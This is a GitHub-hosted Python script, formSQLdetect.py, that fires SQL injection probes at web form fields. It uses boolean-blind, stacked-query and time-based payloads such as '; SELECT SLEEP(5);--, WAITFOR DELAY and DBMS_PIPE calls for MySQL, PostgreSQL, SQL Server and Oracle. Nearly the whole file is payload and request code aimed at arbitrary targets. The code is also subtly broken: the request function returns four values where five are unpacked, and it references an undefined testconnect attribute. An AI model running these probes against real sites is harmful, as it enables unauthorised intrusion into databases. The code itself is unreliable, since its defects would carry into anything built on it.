-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathformSQLdetect.py
More file actions
258 lines (242 loc) · 14.1 KB
/
formSQLdetect.py
File metadata and controls
258 lines (242 loc) · 14.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
'''
Created on 2012-8-15
@author: zsy
'''
import copy
import socket
import threading
import urllib
from urllib.request import urlopen
from urllib.request import Request
from urllib.parse import urlencode
import time
import sys
from CrawThread import *
class formsqldetect():
def __init__(self,formdict):
self.formdict=formdict
self.url=list(formdict)[0]
self.inputlist=formdict[self.url]
self.paradict=self.getparadict()
def getparadict(self):
paradict={}
for inputdict in self.inputlist:
if "name" in inputdict and inputdict["name"]!=("submit" or "login" or "action" or "verifycode"):
if "value" in inputdict and inputdict["value"]:
paradict[inputdict["name"]]=inputdict["value"]
else:
paradict[inputdict["name"]]=""
return paradict
def formrequest(self,dict):
data=urlencode(dict)
data=data.encode(encoding='utf_8', errors='strict')
r=Request(self.url,data)
try:
resp=urlopen(r)
except urllib.error.HTTPError as e:
print(e," ",self.url)
return None,None,None,None,None
except socket.timeout as e:
print("socket timout:",self.url)
print(e)
return None,None,None,None,None
if resp:
code=resp.getcode()
urlresp=resp.geturl()
headresp=resp.info()
pageresp=resp.read()
resp.close()
return code,urlresp,headresp,pageresp
else:
return None
def Inject(self,dict,item,strinject):
modifydict=copy.deepcopy(dict)
modifydict[item]=str(dict[item])+strinject
print("payloadAdd: ",strinject)
link,code,headresp,urlresp,pageresp=self.formrequest(modifydict)
print(code," ",urlresp)
return link,code,headresp,urlresp,pageresp
def timeInject(self,dict,item,strinject):
modifydict=copy.deepcopy(dict)
modifydict[item]=str(dict[item])+strinject
print("payloadAdd: ",strinject)
time1=time.time()
link,code,headresp,urlresp,pageresp=self.formrequest(modifydict)
time2=time.time()
timedelay=time2-time1
time1=time.time()
link,code,headresp,urlresp,pageresp=self.formrequest(dict)
time2=time.time()
timenormal=time2-time1
return timedelay,timenormal
def BooleanBasedBlind(self,dict,item):
print("testint connection to target")
link,code,headresp,urlresp,pageresp=self.testconnect#normal request
print(code,"",urlresp)
#choose continue or stop
print("testing 'AND boolean-based blind - WHERE or HAVING clause'")
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item," and 1=1")
link2,code2,headresp2,urlresp2,pageresp2=self.Inject(dict,item," and 1=2")
if len(pageresp)==len(pageresp1) and len(pageresp)!=len(pageresp2):
print("numeric injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,") and (1=1")
link2,code2,headresp2,urlresp2,pageresp2=self.Inject(dict,item,") and (1=2")
if len(pageresp)==len(pageresp1) and len(pageresp)!=len(pageresp2):
print(") numeric injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"' and '1'='1")
link2,code2,headresp2,urlresp2,pageresp2=self.Inject(dict,item,"' and '1'='2")
if len(pageresp)==len(pageresp1) and len(pageresp)!=len(pageresp2):
print("char injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"') and ('1'='1")
link2,code2,headresp2,urlresp2,pageresp2=self.Inject(dict,item,"') and ('1'='2")
if len(pageresp)==len(pageresp1) and len(pageresp)!=len(pageresp2):
print(") char injection point:",item)
#database inline knowing numeric injection existing
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item," and 'ab'='a'+'b'")
if len(pageresp)==len(pageresp1):
print("SQL Server numeric injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item," and 'ab'='a''b'")
if len(pageresp)==len(pageresp1):
print("MySQL numeric injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item," and 'ab'='a'||'b'")
if len(pageresp)==len(pageresp1):
print("Oracle numeric injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,") and ('ab'='a'+'b'")
if len(pageresp)==len(pageresp1):
print("SQL Server numeric injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,") and ('ab'='a''b'")
if len(pageresp)==len(pageresp1):
print("MySQL numeric injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,") and ('ab'='a'||'b'")
if len(pageresp)==len(pageresp1):
print("Oracle numeric injection point:",item)
#database inline have known char jnjection existing
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"' and 'ab'='a'+'b")
if len(pageresp)==len(pageresp1):
print("SQL Server char injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"' and 'ab'='a''b")
if len(pageresp)==len(pageresp1):
print("MySQL char injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"' and 'ab'='a'||'b")
if len(pageresp)==len(pageresp1):
print("Oracle char injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"') and ('ab'='a'+'b")
if len(pageresp)==len(pageresp1):
print("SQL Server char injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"') and ('ab'='a''b")
if len(pageresp)==len(pageresp1):
print("MySQL char injection point:",item)
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"') and ('ab'='a'||'b")
if len(pageresp)==len(pageresp1):
print("Oracle char injection point:",item)
# def ErrorBasedInject(self,dict,item):
def annotationDetect(self,dict,item):
print("testint connection to target")
link,code,headresp,urlresp,pageresp=self.testconnect#normal request
print(code,"",urlresp)
#choose to continue or stop
print("test Injection by annotation")
link1,code1,headresp1,urlresp1,pageresp1=self.Inject(dict,item,"/*test*/")
if link1==urlresp1 and code1==200 and pageresp1==pageresp:
print(item," may have injection flaw")
def StackQueryInject(self,dict,item):
print("testing 'MySQL > 5.0.11 stacked queries'")
timedelay,timenormal=self.timeInject(dict,item,"); SELECT SLEEP(5);-- AND (673=673")
if timedelay-timenormal>5:
print(item," MySQL>5.0.11 numeric-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"; SELECT SLEEP(5);--")
if timedelay-timenormal>5:
print(item," MySQL>5.0.11 numeric-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"'); SELECT SLEEP(5);-- AND ('gera'='gera")
if timedelay-timenormal>5:
print(item," MySQL>5.0.11 char-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"'; SELECT SLEEP(5);-- AND 'WyNs'='WyNs")
if timedelay-timenormal>5:
print(item," MySQL>5.0.11 char-timebased-stacked query injection flaw ")
print("testing 'PostgreSQL > 8.1 stacked queries'")
timedelay,timenormal=self.timeInject(dict,item,"); SELECT PG_SLEEP(5);-- AND (3250=3250")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 numeric-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"; SELECT PG_SLEEP(5);--")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 numeric-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"'); SELECT PG_SLEEP(5);-- AND ('hCTN'='hCTN")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 char-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"'; SELECT PG_SLEEP(5);-- AND 'Jdtz'='Jdtz")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 char-timebased-stacked query injection flaw ")
print("testing 'Microsoft SQL Server/Sybase stacked queries'")
timedelay,timenormal=self.timeInject(dict,item,"); WAITFOR DELAY '0:0:5';-- AND (8785=8785")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase numeric-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"; WAITFOR DELAY '0:0:5';--")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase numeric-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"'); WAITFOR DELAY '0:0:5';-- AND ('aKCb'='aKCb")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase char-timebased-stacked query injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"'; WAITFOR DELAY '0:0:5';-- AND 'YtlZ'='YtlZ")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase char-timebased-stacked query injection flaw ")
def TimeBasedBlind(self,dict,item):
print("testing 'MySQL > 5.0.11 AND time-based blind'")
timedelay,timenormal=self.timeInject(dict,item,") AND SLEEP(5) AND (8689=8689")
if timedelay-timenormal>5:
print(item," MySQL > 5.0.11 numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item," AND SLEEP(5)")
if timedelay-timenormal>5:
print(item," MySQL > 5.0.11 numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"') AND SLEEP(5) AND ('hxMY'='hxMY")
if timedelay-timenormal>5:
print(item," MySQL > 5.0.11 char-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"' AND SLEEP(5) AND 'JgDH'='JgDH")
if timedelay-timenormal>5:
print(item," MySQL > 5.0.11 char-and-time-based injection flaw ")
print("testing 'PostgreSQL > 8.1 AND time-based blind'")
timedelay,timenormal=self.timeInject(dict,item,") AND 9550=(SELECT 9550 FROM PG_SLEEP(5)) AND (591=591")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item," AND 9550=(SELECT 9550 FROM PG_SLEEP(5))")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"') AND 9550=(SELECT 9550 FROM PG_SLEEP(5)) AND ('Atha'='Atha")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 char-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"' AND 9550=(SELECT 9550 FROM PG_SLEEP(5)) AND 'tvZA'='tvZA")
if timedelay-timenormal>5:
print(item," PostgreSQL > 8.1 char-and-time-based injection flaw ")
print("testing 'Microsoft SQL Server/Sybase time-based blind'")
timedelay,timenormal=self.timeInject(dict,item,") WAITFOR DELAY '0:0:5'-- AND (5945=5945")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item," WAITFOR DELAY '0:0:5'--")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"') WAITFOR DELAY '0:0:5'-- AND ('vZcs'='vZcs")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase char-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"' WAITFOR DELAY '0:0:5'-- AND 'ziTu'='ziTu")
if timedelay-timenormal>5:
print(item," Microsoft SQL Server/Sybase char-and-time-based injection flaw ")
print("testing 'Oracle AND time-based blind'")
timedelay,timenormal=self.timeInject(dict,item,") AND 8039=DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(110)||CHR(97)||CHR(107),5) AND (2374=2374")
if timedelay-timenormal>5:
print(item," Oracle numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item," AND 8039=DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(110)||CHR(97)||CHR(107),5)")
if timedelay-timenormal>5:
print(item," Oracle numeric-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"') AND 8039=DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(110)||CHR(97)||CHR(107),5) AND ('RRIQ'='RRIQ")
if timedelay-timenormal>5:
print(item," Oracle char-and-time-based injection flaw ")
timedelay,timenormal=self.timeInject(dict,item,"' AND 8039=DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(110)||CHR(97)||CHR(107),5) AND 'tOJn'='tOJn")
if timedelay-timenormal>5:
print(item," Oracle char-and-time-based injection flaw ")
def formInject(self):#href only need to pass to this class
print(self.formdict)
paradict=copy.deepcopy(self.paradict)
for item in self.paradict:
self.BooleanBasedBlind(paradict,item)
self.annotationDetect(paradict,item)
self.StackQueryInject(paradict,item)
self.TimeBasedBlind(paradict,item)